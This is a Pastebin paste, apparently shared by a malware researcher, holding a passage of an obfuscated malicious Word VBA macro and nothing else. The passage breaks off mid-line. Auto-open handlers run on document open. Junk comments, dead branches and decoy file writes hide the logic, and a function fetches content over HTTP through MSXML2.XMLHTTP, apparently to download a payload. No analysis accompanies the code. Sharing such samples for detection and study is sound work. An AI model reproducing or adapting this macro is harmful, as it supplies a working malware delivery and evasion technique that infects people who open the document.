API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Oct 31st, 2014
774
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 55.55 KB | None | 0 0
raw download clone embed print report
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  10. Sub Auto_Open()
  11. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  12. If 753449 = 753449 + 1 Then End
  13. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  14. If 5918 < 16 Then
  15. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  16.  
  17. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  18. GoTo wJUEwWEZ
  19. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  20. Dim gicgszKy As String
  21. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  22. Open "PGHTNB.LUF" For Binary As 31
  23. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  24. Put #31, , gicgszKy
  25. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  26. Close #31
  27. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  28. wJUEwWEZ:
  29. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  30.  
  31. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  32.        MsgBox ("iZEfAOYB67")
  33. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  34. End If
  35. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  36. If Len("JZaDfNPF8372") = Len("lyRawvpw") Then
  37. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  38.  
  39. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  40. GoTo XKeWIkYg
  41. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  42. Dim nDPhXDvu As String
  43. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  44. Open "HTXTJJ.HZC" For Binary As 57
  45. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  46. Put #57, , nDPhXDvu
  47. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  48. Close #57
  49. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  50. XKeWIkYg:
  51. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  52.  
  53. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  54.       MsgBox ("Error !!!")
  55. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  56. End If
  57. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  58.  
  59. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  60. GoTo SBClCZXD
  61. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  62. Dim jWRDpCDR As String
  63. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  64. Open "QILJBX.QTM" For Binary As 38
  65. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  66. Put #38, , jWRDpCDR
  67. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  68. Close #38
  69. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  70. SBClCZXD:
  71. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  72.  
  73. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  74. SEDOZBUDOXP
  75. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  76.  
  77. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  78. End Sub
  79. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  80. Sub AutoOpen()
  81. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  82. If 675494 = 675494 + 1 Then End
  83. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  84. If 7395 < 91 Then
  85. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  86.  
  87. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  88. GoTo wWkDBHNS
  89. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  90. Dim NHBissKE As String
  91. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  92. Open "PHIPFX.EER" For Binary As 32
  93. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  94. Put #32, , NHBissKE
  95. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  96. Close #32
  97. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  98. wWkDBHNS:
  99. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  100.  
  101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  102.        MsgBox ("mEDZSlNX12")
  103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  104. End If
  105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  106. If Len("zLJAWSXg1668") = Len("XshyFKoZ") Then
  107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  108.  
  109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  110. GoTo maJDvKmu
  111. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  112. Dim fjIvgBOP As String
  113. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  114. Open "OLWPAC.LQL" For Binary As 23
  115. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  116. Put #23, , fjIvgBOP
  117. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  118. Close #23
  119. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  120. maJDvKmu:
  121. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  122.  
  123. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  124.       MsgBox ("Error !!!")
  125. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  126. End If
  127. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  128.  
  129. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  130. GoTo vZMAjFuj
  131. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  132. Dim kLQdiWxM As String
  133. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  134. Open "QUCRCW.WBW" For Binary As 38
  135. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  136. Put #38, , kLQdiWxM
  137. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  138. Close #38
  139. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  140. vZMAjFuj:
  141. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  142.  
  143. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  144.    Auto_Open
  145. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  146.  
  147. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  148. End Sub
  149. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  150. Sub Workbook_Open()
  151. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  152. If 583623 = 583623 + 1 Then End
  153. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  154. If 9526 < 51 Then
  155. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  156.  
  157. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  158. GoTo YIChqRjK
  159. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  160. Dim sETPcNoP As String
  161. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  162. Open "IBMHTC.KJK" For Binary As 25
  163. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  164. Put #25, , sETPcNoP
  165. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  166. Close #25
  167. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  168. YIChqRjK:
  169. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  170.  
  171. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  172.        MsgBox ("XMAxWLeS65")
  173. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  174. End If
  175. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  176. If Len("dteRCZlM1466") = Len("FIYJtaKA") Then
  177. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  178.  
  179. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  180. GoTo jcKPSJzw
  181. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  182. Dim XlntBdLf As String
  183. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  184. Open "NMJNLR.NKJ" For Binary As 83
  185. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  186. Put #83, , XlntBdLf
  187. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  188. Close #83
  189. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  190. jcKPSJzw:
  191. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  192.  
  193. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  194.       MsgBox ("Error !!!")
  195. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  196. End If
  197. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  198.  
  199. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  200. GoTo uRSiazjM
  201. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  202. Dim SbmZfxiQ As String
  203. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  204. Open "ZIKMGZ.WWF" For Binary As 98
  205. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  206. Put #98, , SbmZfxiQ
  207. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  208. Close #98
  209. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  210. uRSiazjM:
  211. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  212.  
  213. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  214.    Auto_Open
  215. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  216.  
  217. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  218. End Sub
  219. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  220. Function APLJNHMVHUY(ByVal CYODHVTJUVC As String, ByVal SKXFFXVBUFG As String) As Boolean
  221. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  222.     Dim BEOCPNNRSPU As Object, ONIQCJCMVLU As Long, XWAMIBOZGAS As Long, VWKPFFGVDDM() As Byte
  223. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  224.  
  225. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  226. If 318357 = 318357 + 1 Then End
  227. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  228. If 9932 < 93 Then
  229. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  230.  
  231. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  232. GoTo tJOloeGL
  233. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  234. Dim OSjFxcUQ As String
  235. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  236. Open "MRSKTO.MAD" For Binary As 66
  237. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  238. Put #66, , OSjFxcUQ
  239. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  240. Close #66
  241. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  242. tJOloeGL:
  243. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  244.  
  245. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  246.        MsgBox ("flpFlZwB75")
  247. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  248. End If
  249. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  250. If Len("fcptdAyB3295") = Len("oHIPyUls") Then
  251. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  252.  
  253. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  254. GoTo fHdiEJTB
  255. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  256. Dim KQMZHdxJ As String
  257. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  258. Open "BEASGR.IXB" For Binary As 86
  259. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  260. Put #86, , KQMZHdxJ
  261. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  262. Close #86
  263. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  264. fHdiEJTB:
  265. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  266.  
  267. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  268.       MsgBox ("Error !!!")
  269. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  270. End If
  271. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  272.  
  273. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  274. GoTo HZCgfhxQ
  275. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  276. Dim mcTOnQgE As String
  277. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  278. Open "DXMGUH.EBX" For Binary As 44
  279. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  280. Put #44, , mcTOnQgE
  281. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  282. Close #44
  283. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  284. HZCgfhxQ:
  285. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  286.  
  287. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  288.    Set BEOCPNNRSPU = CreateObject("MSXML2.XMLHTTP")
  289. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  290.  
  291. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  292.    BEOCPNNRSPU.Open "GET", CYODHVTJUVC, False
  293. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  294. If 276926 = 276926 + 1 Then End
  295. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  296. If 6559 < 21 Then
  297. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  298.  
  299. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  300. GoTo nlGWBnKx
  301. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  302. Dim lOYYGUuN As String
  303. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  304. Open "SZMDFF.TGH" For Binary As 36
  305. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  306. Put #36, , lOYYGUuN
  307. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  308. Close #36
  309. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  310. nlGWBnKx:
  311. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  312.  
  313. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  314.        MsgBox ("TGXJCuiQ34")
  315. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  316. End If
  317. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  318. If Len("XNcBVHvL9724") = Len("cEasugCb") Then
